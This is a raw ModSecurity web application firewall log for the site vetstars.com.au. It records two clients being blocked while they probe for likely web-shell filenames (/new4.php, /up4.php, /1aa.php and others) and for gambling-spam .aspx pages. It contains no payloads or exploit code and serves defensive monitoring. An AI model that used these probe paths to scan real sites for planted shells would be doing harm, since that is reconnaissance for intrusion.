[Wed Feb 04 01:39:42.163188 2026] [:error] [pid 5148:tid 5165] [client 52.243.58.155:1659] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/new4.php"] [unique_id "aYIy3r83HCHLtUIbS7JEGwAAAU4"]
[Wed Feb 04 01:39:43.267045 2026] [:error] [pid 5148:tid 5163] [client 52.243.58.155:35480] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/new4.php"] [unique_id "aYIy3783HCHLtUIbS7JEHwAAAUw"]
[Wed Feb 04 01:39:45.399703 2026] [:error] [pid 42921:tid 42977] [client 52.243.58.155:1509] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pop.php"] [unique_id "aYIy4YblShffGl-01ofMygAAAFM"]
[Wed Feb 04 01:39:47.872288 2026] [:error] [pid 42920:tid 42943] [client 52.243.58.155:34680] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pop.php"] [unique_id "aYIy4yix3YKltG4EU0nWWwAAAA4"]
[Wed Feb 04 01:39:49.632353 2026] [:error] [pid 42921:tid 42968] [client 52.243.58.155:1530] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pop.php"] [unique_id "aYIy5YblShffGl-01ofM0QAAAEo"]
[Wed Feb 04 01:39:52.543830 2026] [:error] [pid 28720:tid 28725] [client 52.243.58.155:34714] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pop.php"] [unique_id "aYIy6GmRXm2bmr_sYiYm-gAAAQM"]
[Wed Feb 04 01:39:55.850640 2026] [:error] [pid 42921:tid 42979] [client 52.243.58.155:30767] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/az.php"] [unique_id "aYIy64blShffGl-01ofM2QAAAFU"]
[Wed Feb 04 01:39:57.455847 2026] [:error] [pid 5229:tid 5240] [client 52.243.58.155:36392] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/az.php"] [unique_id "aYIy7UKmEgmJub93yUpn4AAAAYk"]
[Wed Feb 04 01:39:59.837777 2026] [:error] [pid 5229:tid 5249] [client 52.243.58.155:24842] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/az.php"] [unique_id "aYIy70KmEgmJub93yUpn6gAAAZI"]
[Wed Feb 04 01:40:00.771838 2026] [:error] [pid 42922:tid 42997] [client 52.243.58.155:46822] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/az.php"] [unique_id "aYIy8GazX4WPS_dQRkjulwAAAIw"]
[Wed Feb 04 01:40:02.053908 2026] [:error] [pid 43028:tid 43031] [client 52.243.58.155:24288] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xaz.php"] [unique_id "aYIy8lnHWnJD4cJC5DsnBQAAAME"]
[Wed Feb 04 01:40:02.992083 2026] [:error] [pid 5148:tid 5163] [client 52.243.58.155:24291] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xaz.php"] [unique_id "aYIy8r83HCHLtUIbS7JETgAAAUw"]
[Wed Feb 04 01:40:04.473192 2026] [:error] [pid 42921:tid 42982] [client 52.243.58.155:29789] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xaz.php"] [unique_id "aYIy9IblShffGl-01ofNBAAAAFg"]
[Wed Feb 04 01:40:05.791518 2026] [:error] [pid 42920:tid 42943] [client 52.243.58.155:25170] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xaz.php"] [unique_id "aYIy9Six3YKltG4EU0nWZgAAAA4"]
[Wed Feb 04 01:40:06.720268 2026] [:error] [pid 5229:tid 5253] [client 52.243.58.155:26344] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/up4.php"] [unique_id "aYIy9kKmEgmJub93yUpn8QAAAZY"]
[Wed Feb 04 01:40:07.343081 2026] [:error] [pid 43028:tid 43053] [client 52.243.58.155:27154] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/up4.php"] [unique_id "aYIy91nHWnJD4cJC5DsnCgAAANc"]
[Wed Feb 04 01:40:09.568804 2026] [:error] [pid 43028:tid 43045] [client 52.243.58.155:21683] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/up4.php"] [unique_id "aYIy-VnHWnJD4cJC5DsnDQAAAM8"]
[Wed Feb 04 01:40:12.062368 2026] [:error] [pid 42920:tid 42952] [client 52.243.58.155:31044] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/up4.php"] [unique_id "aYIy_Cix3YKltG4EU0nWbgAAABc"]
[Wed Feb 04 01:40:13.604753 2026] [:error] [pid 42922:tid 43000] [client 52.243.58.155:21668] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1aa.php"] [unique_id "aYIy_WazX4WPS_dQRkjupQAAAI8"]
[Wed Feb 04 01:40:15.136569 2026] [:error] [pid 42921:tid 42981] [client 52.243.58.155:32499] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1aa.php"] [unique_id "aYIy_4blShffGl-01ofNTgAAAFc"]
[Wed Feb 04 01:40:17.042732 2026] [:error] [pid 5148:tid 5159] [client 52.243.58.155:30315] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1aa.php"] [unique_id "aYIzAb83HCHLtUIbS7JEaQAAAUg"]
[Wed Feb 04 05:33:18.306670 2026] [:error] [pid 47676:tid 47693] [client 36.41.75.167:51254] [client 36.41.75.167] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aYJpngrYSkTgZEfUDqFnXwAAAM8"]
[Wed Feb 04 05:38:38.831533 2026] [:error] [pid 47577:tid 47596] [client 145.239.65.133:34628] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aYJq3qvA4Yp0Sov-3kT3OwAAAA8"]
[Wed Feb 04 05:38:41.291416 2026] [:error] [pid 47577:tid 47589] [client 145.239.65.133:41352] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aYJq4avA4Yp0Sov-3kT3PQAAAAg"]
[Wed Feb 04 05:38:43.942619 2026] [:error] [pid 47578:tid 47616] [client 145.239.65.133:41354] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aYJq455oatM9u8-yDv_wkgAAAEE"]
[Wed Feb 04 05:38:46.398954 2026] [:error] [pid 47577:tid 47605] [client 145.239.65.133:53622] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aYJq5qvA4Yp0Sov-3kT3QgAAABg"]
[Wed Feb 04 05:38:49.027304 2026] [:error] [pid 47579:tid 47653] [client 145.239.65.133:53630] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aYJq6fuxWks846_Vi2zD-gAAAIk"]
[Wed Feb 04 05:38:51.502239 2026] [:error] [pid 47578:tid 47641] [client 145.239.65.133:53640] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aYJq655oatM9u8-yDv_wogAAAFg"]
[Wed Feb 04 05:38:54.148281 2026] [:error] [pid 47579:tid 47655] [client 145.239.65.133:53650] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aYJq7vuxWks846_Vi2zD_wAAAIs"]
[Wed Feb 04 05:38:56.761843 2026] [:error] [pid 47578:tid 47625] [client 145.239.65.133:39248] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "aYJq8J5oatM9u8-yDv_wqQAAAEo"]
[Wed Feb 04 05:38:59.228529 2026] [:error] [pid 18816:tid 18839] [client 145.239.65.133:39252] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "aYJq88szZcOol_Iv-0U2BgAAARQ"]
[Wed Feb 04 05:39:01.713379 2026] [:error] [pid 47676:tid 47684] [client 145.239.65.133:39254] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aYJq9QrYSkTgZEfUDqFpWwAAAMY"]
[Wed Feb 04 05:39:04.332899 2026] [:error] [pid 47676:tid 47702] [client 145.239.65.133:39256] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aYJq-ArYSkTgZEfUDqFpZgAAANc"]
[Wed Feb 04 05:39:06.965810 2026] [:error] [pid 47578:tid 47625] [client 145.239.65.133:59648] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aYJq-p5oatM9u8-yDv_wtwAAAEo"]
[Wed Feb 04 05:39:09.568136 2026] [:error] [pid 47577:tid 47594] [client 145.239.65.133:59660] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "aYJq_avA4Yp0Sov-3kT3XwAAAA0"]
[Wed Feb 04 05:39:12.039657 2026] [:error] [pid 47577:tid 47586] [client 145.239.65.133:59664] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jili%20slot.aspx"] [unique_id "aYJrAKvA4Yp0Sov-3kT3YgAAAAU"]
[Wed Feb 04 05:39:14.645927 2026] [:error] [pid 18816:tid 18824] [client 145.239.65.133:59678] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20slot.aspx"] [unique_id "aYJrAsszZcOol_Iv-0U2GwAAAQU"]
[Wed Feb 04 05:39:17.264011 2026] [:error] [pid 18816:tid 18838] [client 145.239.65.133:47888] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20vip.aspx"] [unique_id "aYJrBcszZcOol_Iv-0U2IQAAARM"]
[Wed Feb 04 05:39:19.727258 2026] [:error] [pid 18816:tid 18823] [client 145.239.65.133:47904] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "aYJrB8szZcOol_Iv-0U2JgAAAQQ"]
[Wed Feb 04 05:39:22.336156 2026] [:error] [pid 47577:tid 47590] [client 145.239.65.133:47908] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lava%20slot.aspx"] [unique_id "aYJrCqvA4Yp0Sov-3kT3cQAAAAk"]
[Wed Feb 04 05:39:24.952591 2026] [:error] [pid 47578:tid 47617] [client 145.239.65.133:47922] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mega%20slot.aspx"] [unique_id "aYJrDJ5oatM9u8-yDv_w8AAAAEI"]
[Wed Feb 04 05:39:27.585993 2026] [:error] [pid 47577:tid 47588] [client 145.239.65.133:46296] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/metal%20slot.aspx"] [unique_id "aYJrD6vA4Yp0Sov-3kT3eQAAAAc"]
[Wed Feb 04 05:39:30.048292 2026] [:error] [pid 47579:tid 47659] [client 145.239.65.133:46302] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20168.aspx"] [unique_id "aYJrEvuxWks846_Vi2zEPwAAAI8"]
[Wed Feb 04 05:39:32.661220 2026] [:error] [pid 47578:tid 47623] [client 145.239.65.133:46312] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20auto.aspx"] [unique_id "aYJrFJ5oatM9u8-yDv_xAQAAAEg"]
[Wed Feb 04 05:40:18.025141 2026] [:error] [pid 47676:tid 47698] [client 145.239.65.133:46328] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aYJrQgrYSkTgZEfUDqFqEwAAANQ"]
[Wed Feb 04 05:40:20.783873 2026] [:error] [pid 18816:tid 18832] [client 145.239.65.133:54440] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aYJrRMszZcOol_Iv-0U3FgAAAQ0"]
[Wed Feb 04 05:40:23.536161 2026] [:error] [pid 47579:tid 47656] [client 145.239.65.133:54454] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "aYJrR_uxWks846_Vi2zEpgAAAIw"]
[Wed Feb 04 05:40:26.134842 2026] [:error] [pid 18816:tid 18828] [client 145.239.65.133:50336] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "aYJrSsszZcOol_Iv-0U3JgAAAQk"]
[Wed Feb 04 05:40:28.749619 2026] [:error] [pid 47676:tid 47694] [client 145.239.65.133:50342] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20world.aspx"] [unique_id "aYJrTArYSkTgZEfUDqFqIAAAANA"]
[Wed Feb 04 05:40:31.348889 2026] [:error] [pid 47676:tid 47678] [client 145.239.65.133:50348] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "aYJrTwrYSkTgZEfUDqFqJgAAAMA"]
[Wed Feb 04 05:40:33.951860 2026] [:error] [pid 47577:tid 47581] [client 145.239.65.133:50360] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp%20slot.aspx"] [unique_id "aYJrUavA4Yp0Sov-3kT3vgAAAAA"]
[Wed Feb 04 05:40:36.733479 2026] [:error] [pid 47578:tid 47624] [client 145.239.65.133:32944] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "aYJrVJ5oatM9u8-yDv_xTwAAAEk"]
[Wed Feb 04 05:40:39.459881 2026] [:error] [pid 47578:tid 47623] [client 145.239.65.133:32952] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "aYJrV55oatM9u8-yDv_xUgAAAEg"]
[Wed Feb 04 05:40:42.212914 2026] [:error] [pid 47579:tid 47645] [client 145.239.65.133:32962] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/royal%20slot.aspx"] [unique_id "aYJrWvuxWks846_Vi2zE1QAAAIE"]
[Wed Feb 04 05:40:44.825269 2026] [:error] [pid 47579:tid 47650] [client 145.239.65.133:32976] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aYJrXPuxWks846_Vi2zE-wAAAIY"]
